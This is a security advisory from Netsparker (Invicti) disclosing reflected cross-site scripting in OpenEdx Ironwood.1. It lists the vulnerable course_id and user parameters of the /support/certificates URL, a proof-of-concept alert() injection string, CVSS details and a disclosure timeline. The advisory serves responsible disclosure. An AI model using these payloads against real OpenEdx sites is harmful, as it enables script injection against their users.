Multiple Reflected Cross-site Scripting Vulnerabilities in OpenEdx version Ironwood.1


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in OpenEdx version Ironwood.1
Affected Software: OpenEdx
Affected Versions: Ironwood.1
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Invicti Advisory Reference: NS-19-014

Technical Details

URL: http://{DOMAIN}/{PATH-OF-OPENEDX}/support/certificates?course_id=%27%2balert(‘xss’)%2b%27&query=3&user=3
Parameter Name: course_id
Parameter Type: GET
Attack Pattern: %27%2balert(‘xss’)%2b%27

URL: http://{DOMAIN}/{PATH-OF-OPENEDX}/support/certificates?course_id=3&query=3&user=%27%2balert(‘xss’)%2b%27
Parameter Name: user
Parameter Type: GET
Attack Pattern: %27%2balert(‘xss’)%2b%27

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

18th June 2019 – First Contact
19th June 2019 – Technical Details Sent
10th September 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Umran Yildirimkaya while testing the Invicti Web Application Security Scanner.

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